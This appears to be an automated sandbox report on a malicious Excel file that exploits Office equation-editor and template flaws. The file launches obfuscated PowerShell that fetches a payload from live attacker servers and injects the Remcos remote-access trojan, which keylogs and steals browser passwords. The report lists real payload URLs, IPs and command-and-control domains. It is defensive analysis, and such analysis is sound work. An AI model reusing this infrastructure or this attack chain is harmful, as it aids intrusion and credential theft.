                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
                Remote System Discovery                		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1484021 Sample: PI-002312.xls Startdate: 29/07/2024 Architecture: WINDOWS Score: 100 52 tny.wtf 2->52 66 Found malware configuration 2->66 68 Malicious sample detected (through community Yara rule) 2->68 70 Antivirus detection for URL or domain 2->70 72 22 other signatures 2->72 9 EXCEL.EXE 59 51 2->9         started        signatures3 process4 dnsIp5 56 tny.wtf 188.114.97.3, 49161, 49164, 80 CLOUDFLARENETUS European Union 9->56 58 172.245.123.11, 49162, 49166, 49168 AS-COLOCROSSINGUS United States 9->58 42 C:\Users\user\Desktop\PI-002312.xls (copy), Composite 9->42 dropped 44 seethedrinkingwate...dsheismygirl[1].doc, Rich 9->44 dropped 13 wscript.exe 1 9->13         started        16 WINWORD.EXE 336 37 9->16         started        file6 process7 dnsIp8 84 Suspicious powershell command line found 13->84 86 Wscript starts Powershell (via cmd or directly) 13->86 88 Obfuscated command line found 13->88 96 3 other signatures 13->96 20 powershell.exe 12 5 13->20         started        48 tny.wtf 16->48 50 188.114.96.3, 49163, 49165, 80 CLOUDFLARENETUS European Union 16->50 32 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 16->32 dropped 34 C:\Users\user\AppData\Roaming\...\Zfp4WP.url, MS 16->34 dropped 36 ~WRF{EA49B3DA-E221...5-E49DC6EB42DE}.tmp, Composite 16->36 dropped 38 C:\Users\user\AppData\Local\...\3B5C3D2B.doc, Rich 16->38 dropped 90 Microsoft Office launches external ms-search protocol handler (WebDAV) 16->90 92 Office viewer loads remote template 16->92 94 Microsoft Office drops suspicious files 16->94 24 EQNEDT32.EXE 12 16->24         started        file9 signatures10 process11 dnsIp12 54 198.46.176.133, 49167, 80 AS-COLOCROSSINGUS United States 20->54 74 Writes to foreign memory regions 20->74 76 Suspicious execution chain found 20->76 78 Injects a PE file into a foreign processes 20->78 27 RegAsm.exe 3 13 20->27         started        40 C:\...\weseethesimplethingsalwaystog.vBS, Unicode 24->40 dropped 80 Office equation editor establishes network connection 24->80 82 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 24->82 file13 signatures14 process15 dnsIp16 60 tochisglobal.ddns.net 27->60 62 tochisglobal.ddns.net 103.253.17.222, 49169, 6426 WIFIKU-AS-IDPTWifikuIndonesiaID unknown 27->62 64 geoplugin.net 178.237.33.50, 49170, 80 ATOM86-ASATOM86NL Netherlands 27->64 46 C:\ProgramData\remcos\logs.dat, data 27->46 dropped 98 Contains functionality to bypass UAC (CMSTPLUA) 27->98 100 Detected Remcos RAT 27->100 102 Contains functionality to steal Chrome passwords or cookies 27->102 106 4 other signatures 27->106 file17 104 Uses dynamic DNS services 60->104 signatures18

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                PI-002312.xls21%ReversingLabsDocument-Excel.Exploit.CVE-2017-0199
                PI-002312.xls100%Joe Sandbox ML

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{EA49B3DA-E221-4150-A1B5-E49DC6EB42DE}.tmp100%AviraEXP/CVE-2017-11882.Gen
                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5C3D2B.doc100%AviraHEUR/Rtf.Malformed
                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc100%AviraHEUR/Rtf.Malformed

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://geoplugin.net/json.gp0%URL Reputationsafe
                http://nuget.org/NuGet.exe0%URL Reputationsafe
                http://geoplugin.net/json.gp/C0%URL Reputationsafe
                https://contoso.com/0%URL Reputationsafe
                https://nuget.org/nuget.exe0%URL Reputationsafe
                https://contoso.com/License0%URL Reputationsafe
                https://contoso.com/Icon0%URL Reputationsafe
                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                http://172.245.123.11/47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doc0%Avira URL Cloudsafe
                http://172.245.123.11/47/BEN.txt0%Avira URL Cloudsafe
                http://tny.wtf/0%Avira URL Cloudsafe
                http://172.245.123.110%Avira URL Cloudsafe
                http://198.46.176.133/Upload/vbs.jpeg100%Avira URL Cloudmalware
                http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIF0%Avira URL Cloudsafe
                tochisglobal.ddns.net0%Avira URL Cloudsafe
                http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIFj0%Avira URL Cloudsafe
                http://tny.wtf/Zfp4WPyX0%Avira URL Cloudsafe
                http://go.microsoft.c0%Avira URL Cloudsafe
                http://tny.wtf/Zfp4WP0%Avira URL Cloudsafe
                http://198.46.176.1330%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                tochisglobal.ddns.net
                		103.253.17.222
                		truetrue
                  		unknown
                  geoplugin.net
                  		178.237.33.50
                  		truefalse
                    		unknown
                    tny.wtf
                    		188.114.97.3
                    		truetrue
                      		unknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      http://geoplugin.net/json.gpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.123.11/47/BEN.txttrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://198.46.176.133/Upload/vbs.jpegfalse
                      • Avira URL Cloud: malware
                      		unknown
                      tochisglobal.ddns.nettrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIFtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.123.11/47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doctrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://tny.wtf/Zfp4WPfalse
                      • Avira URL Cloud: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://tny.wtf/tny.wtf.url.4.drfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://nuget.org/NuGet.exepowershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://geoplugin.net/json.gp/Cpowershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.456553526.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.123.11powershell.exe, 0000000A.00000002.462431214.0000000009381000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.123.11/47/weseethesimplethingsalwaystoget.gIFjEQNEDT32.EXE, 00000007.00000002.440871963.00000000002BE000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/powershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Licensepowershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 0000000A.00000002.456553526.0000000003429000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://tny.wtf/Zfp4WPyX~DFC5146D9B2917079D.TMP.0.dr, 47730000.0.drfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://go.microsoft.cpowershell.exe, 0000000A.00000002.455204421.000000000057C000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000A.00000002.456177731.0000000002401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://198.46.176.133powershell.exe, 0000000A.00000002.456177731.000000000253B000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      188.114.97.3
                      		tny.wtfEuropean Union
                      		13335CLOUDFLARENETUStrue
                      188.114.96.3
                      		unknownEuropean Union
                      		13335CLOUDFLARENETUSfalse
                      198.46.176.133
                      		unknownUnited States
                      		36352AS-COLOCROSSINGUSfalse
                      103.253.17.222
                      		tochisglobal.ddns.netunknown
                      		59139WIFIKU-AS-IDPTWifikuIndonesiaIDtrue
                      178.237.33.50
                      		geoplugin.netNetherlands
                      		8455ATOM86-ASATOM86NLfalse
                      172.245.123.11
                      		unknownUnited States
                      		36352AS-COLOCROSSINGUStrue

                      General Information

                      Joe Sandbox version:40.0.0 Tourmaline
                      Analysis ID:1484021
                      Start date and time:2024-07-29 15:20:52 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 10m 41s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:defaultwindowsofficecookbook.jbs
                      Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                      Number of analysed new started processes analysed:15
                      Number of new started drivers analysed:1
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • GSI enabled (VBA)
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:PI-002312.xls
                      Detection:MAL
                      Classification:mal100.troj.spyw.expl.evad.winXLS@9/36@8/6
                      EGA Information:
                      • Successful, ratio: 66.7%
                      HCA Information:
                      • Successful, ratio: 97%
                      • Number of executed functions: 68
                      • Number of non-executed functions: 195
                      Cookbook Comments:
                      • Found application associated with file extension: .xls
                      • Found Word or Excel or PowerPoint or XPS Viewer
                      • Attach to Office via COM
                      • Active ActiveX Object
                      • Active ActiveX Object
                      • Scroll down
                      • Close Viewer
                      • Override analysis time to 54116.5040843472 for current running targets taking high CPU consumption
                      • Override analysis time to 108233.008168694 for current running targets taking high CPU consumption
                      • Override analysis time to 216466.016337389 for current running targets taking high CPU consumption

                      Warnings

                      • Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
                      • Execution Graph export aborted for target EQNEDT32.EXE, PID 2676 because there are no executed function
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • VT rate limit hit for: PI-002312.xls

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      09:22:24API Interceptor45x Sleep call for process: EQNEDT32.EXE modified
                      09:22:26API Interceptor21x Sleep call for process: powershell.exe modified
                      09:22:26API Interceptor27x Sleep call for process: wscript.exe modified
                      09:22:32API Interceptor12607353x Sleep call for process: RegAsm.exe modified

                      LLM Input / Output

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      188.114.97.3QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • filetransfer.io/data-package/eG5HLKq7/download
                      Purchase order.xlsGet hashmaliciousRemcosBrowse
                      • tny.wtf/
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • filetransfer.io/data-package/eivFTmO7/download
                      PO 1024.exeGet hashmaliciousFormBookBrowse
                      • www.aggame.asia/0dmj/
                      Payrol list.exeGet hashmaliciousFormBookBrowse
                      • www.coinwab.com/efdt/
                      SHIPPING ADVICE MBL+HBL.exeGet hashmaliciousFormBookBrowse
                      • www.globaltrend.xyz/srh8/
                      Request for Quotation RFQ 0036-2024 Commercial Proposal 2024 07 15.001.img.exeGet hashmaliciousLokibotBrowse
                      • serak.top/ugopounds/five/fre.php
                      4wLRKi3bJn.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                      • 664732cm.nyashka.top/ImageMultiprotectDbWindowsTest.php
                      8SxJ9aYfJ1.exeGet hashmaliciousFormBookBrowse
                      • www.exporationgenius.sbs/x06k/
                      o4iytkmhqh.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                      • 660256cm.nyashka.top/javascriptsecurelowWindows.php
                      188.114.96.3QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • filetransfer.io/data-package/C1NtV6yB/download
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • filetransfer.io/data-package/ChmlFxWM/download
                      Purchase order.xlsGet hashmaliciousRemcosBrowse
                      • tny.wtf/L9GtsJ
                      SHIPPING ADVICE MBL+HBL.exeGet hashmaliciousFormBookBrowse
                      • www.ffi07s.xyz/y7ar/
                      T7J24OBDyt.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                      • 664732cm.nyashka.top/ImageMultiprotectDbWindowsTest.php
                      wkoYf92Fyp.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                      • 664732cm.nyashka.top/ImageMultiprotectDbWindowsTest.php
                      QUOTATION_JULQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • filetransfer.io/data-package/v4mecse6/download
                      Final Shipping Document.exeGet hashmaliciousFormBookBrowse
                      • www.artfulfusionhub.lat/qogc/
                      RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                      • tny.wtf/
                      DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                      • tny.wtf/dg4Zx

                      Domains

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      tochisglobal.ddns.netPurchase Order.exeGet hashmaliciousGuLoader, RemcosBrowse
                      • 103.253.17.222
                      JPEG00774533.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      CamScanner0091.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      PI00232.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      tny.wtfPurchase order.xlsGet hashmaliciousRemcosBrowse
                      • 188.114.97.3
                      RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                      • 188.114.97.3
                      DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                      • 188.114.97.3
                      Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                      • 188.114.97.3
                      AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                      • 188.114.96.3
                      RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                      • 188.114.96.3
                      RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                      • 188.114.96.3
                      Quotation.xlsGet hashmaliciousRemcosBrowse
                      • 188.114.96.3
                      #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 188.114.97.3
                      AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                      • 188.114.97.3
                      geoplugin.netSATIN ALMA EMR#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      Purchase order.xlsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      17222151664c1cf157f4e60a5db7bff76e80474d27d5be3b770f3ff1dd50ca91ddde2e4170122.dat-decoded.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      SKqrekfUiW.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      createdthingstobefrankwithmeeverywhere.gIF.vbsGet hashmaliciousGuLoader, RemcosBrowse
                      • 178.237.33.50
                      createactiveimagesbeautygirlfrnd.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      screensimplethingstohandlecream.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      41DLTjkmOm.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      Shipping documents PO 16103 INV.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exeGet hashmaliciousGuLoader, RemcosBrowse
                      • 178.237.33.50

                      ASNs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      CLOUDFLARENETUSQUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      SATIN ALMA EMR#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 172.67.200.114
                      Uqaii.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.97.3
                      DHL Invoic 44633179800-pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      ==ARRIVAL NOTICE===DHL (AWB) Delivery NotificationDocs for Customs clearance.exeGet hashmaliciousSnake KeyloggerBrowse
                      • 188.114.96.3
                      2855dffd-7888-4713-9478-2bbfa22fab70.emlGet hashmaliciousUnknownBrowse
                      • 188.114.97.3
                      https://forms.office.com/Pages/ResponsePage.aspx?id=mZB7T0Dtr0mx-Js9AsqUvjkKVGExcKpLpLje28x2_kZUOVA4UU9WT0pSQUFPSTZPUlhWTElINUNETy4uGet hashmaliciousHTMLPhisherBrowse
                      • 1.1.1.1
                      Order_Inquiry.vbeGet hashmaliciousPureLog Stealer, Snake KeyloggerBrowse
                      • 188.114.96.3
                      CLOUDFLARENETUSQUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      QUOTATION_JULQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      SATIN ALMA EMR#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 172.67.200.114
                      Uqaii.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.97.3
                      DHL Invoic 44633179800-pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                      • 188.114.96.3
                      ==ARRIVAL NOTICE===DHL (AWB) Delivery NotificationDocs for Customs clearance.exeGet hashmaliciousSnake KeyloggerBrowse
                      • 188.114.96.3
                      2855dffd-7888-4713-9478-2bbfa22fab70.emlGet hashmaliciousUnknownBrowse
                      • 188.114.97.3
                      https://forms.office.com/Pages/ResponsePage.aspx?id=mZB7T0Dtr0mx-Js9AsqUvjkKVGExcKpLpLje28x2_kZUOVA4UU9WT0pSQUFPSTZPUlhWTElINUNETy4uGet hashmaliciousHTMLPhisherBrowse
                      • 1.1.1.1
                      Order_Inquiry.vbeGet hashmaliciousPureLog Stealer, Snake KeyloggerBrowse
                      • 188.114.96.3
                      AS-COLOCROSSINGUSSATIN ALMA EMR#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 198.46.176.133
                      Purchase order.xlsGet hashmaliciousRemcosBrowse
                      • 198.46.176.133
                      file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                      • 107.173.160.137
                      loveyou.exeGet hashmaliciousCobaltStrike, MetasploitBrowse
                      • 23.94.247.40
                      file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                      • 107.173.160.137
                      xSYFgHIHTv.rtfGet hashmaliciousUnknownBrowse
                      • 198.46.178.229
                      file.exeGet hashmaliciousLummaC, Go Injector, LummaC Stealer, SmokeLoaderBrowse
                      • 107.173.160.137
                      createdthingstobefrankwithmeeverywhere.gIF.vbsGet hashmaliciousGuLoader, RemcosBrowse
                      • 104.168.45.34
                      createactiveimagesbeautygirlfrnd.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 198.46.176.133
                      screensimplethingstohandlecream.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 192.3.101.142
                      WIFIKU-AS-IDPTWifikuIndonesiaIDPurchase Order.exeGet hashmaliciousGuLoader, RemcosBrowse
                      • 103.253.17.222
                      JPEG00774533.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      CamScanner0091.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      PI00232.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                      • 103.253.17.222
                      Spare_part_list.xlsGet hashmaliciousLokibotBrowse
                      • 103.253.17.249
                      57m#U00b3_LPG_SEMI_TRAILER_7_NOS.pdf.xlsGet hashmaliciousAgentTeslaBrowse
                      • 103.253.17.249
                      EUCjx7V4L9.elfGet hashmaliciousGafgyt, MiraiBrowse
                      • 116.0.5.90
                      ATOM86-ASATOM86NLSATIN ALMA EMR#U0130.xlsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      Purchase order.xlsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      17222151664c1cf157f4e60a5db7bff76e80474d27d5be3b770f3ff1dd50ca91ddde2e4170122.dat-decoded.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      SKqrekfUiW.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      createdthingstobefrankwithmeeverywhere.gIF.vbsGet hashmaliciousGuLoader, RemcosBrowse
                      • 178.237.33.50
                      createactiveimagesbeautygirlfrnd.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      screensimplethingstohandlecream.gIF.vbsGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      41DLTjkmOm.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      Shipping documents PO 16103 INV.exeGet hashmaliciousRemcosBrowse
                      • 178.237.33.50
                      17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exeGet hashmaliciousGuLoader, RemcosBrowse
                      • 178.237.33.50

                      JA3 Fingerprints

                      ⊘No context

                      Dropped Files

                      ⊘No context

                      Created / dropped Files

                      C:\ProgramData\remcos\logs.dat

                      Download File
                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      File Type:data
                      Category:dropped
                      Size (bytes):368
                      Entropy (8bit):3.536826238716647
                      Encrypted:false
                      SSDEEP:6:6lVsFccl1fU5YcIeeDAlZG9f0YwSySNombQDyFwfxNa/WAv:6lVsFcc3fUecy9xwhykn50/W+
                      MD5:AE66417B81E6F9015807858D88A7C2CF
                      SHA1:2AAC19A3CE4BFA5A58D3F56E05C9198A7F6C7FC1
                      SHA-256:E38BC3D035B3D3EAD07479A67561AFDF7CC7E543EBD9F9A64EC5D4CE1DC305C2
                      SHA-512:B939FC4F1AA361F217BF7636426E1859A9F9C76DD6339DB702102023AA6C53BC55B2DE8FE499406CDB81B3B084ACC19C3F9B4F989CA227F476424E108DC455FB
                      Malicious:true
                      Yara Hits:
                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
                      Reputation:low
                      Preview:....[.2.0.2.4./.0.7./.2.9. .0.9.:.2.2.:.3.2. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.Z.f.p.4.W.P. .[.R.e.a.d.-.O.n.l.y.]. .[.C.o.m.p.a.t.i.b.i.l.i.t.y. .M.o.d.e.]. .-. .M.i.c.r.o.s.o.f.t. .W.o.r.d.].........[.M.i.c.r.o.s.o.f.t. .E.x.c.e.l.].........[.N.e.w. .T.a.b. .-. .G.o.o.g.l.e. .C.h.r.o.m.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                      C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):131072
                      Entropy (8bit):0.025519901271545554
                      Encrypted:false
                      SSDEEP:6:I3DPc1t2cuzRvxggLR3u6aAVLpmtRXv//4tfnRujlw//+GtluJ/eRuj:I3DP5c8dbSAVLpmTvYg3J/
                      MD5:45A7E3198B8E37C9C7957F6D3D3712A2
                      SHA1:7FA55890C47366B546FE3ABF18DBFEB7CBC8ADC7
                      SHA-256:FB26C3737169A34119710DF98719E9EDE99234A5A4EEEDD705E6E3B8BC29A4A1
                      SHA-512:5301C9E5870FE0E6A016F76E99C3C4EE876F41C032392B670D8D2570BBD3EF9713216B1AAEFF7703031B8E9F47890018270FBF614C97E56121AC674DB392C1E1
                      Malicious:false
                      Reputation:low
                      Preview:......M.eFy...z..F..bcD....>..S,...X.F...Fa.q............................ ..~.t.N.&.=............uR.F...N..l...9.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                      Download File
                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      File Type:data
                      Category:dropped
                      Size (bytes):4760
                      Entropy (8bit):4.834060479684549
                      Encrypted:false
                      SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                      MD5:838C1F472806CF4BA2A9EC49C27C2847
                      SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                      SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                      SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                      Malicious:false
                      Reputation:moderate, very likely benign file
                      Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Download File
                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      File Type:data
                      Category:dropped
                      Size (bytes):64
                      Entropy (8bit):0.34726597513537405
                      Encrypted:false
                      SSDEEP:3:Nlll:Nll
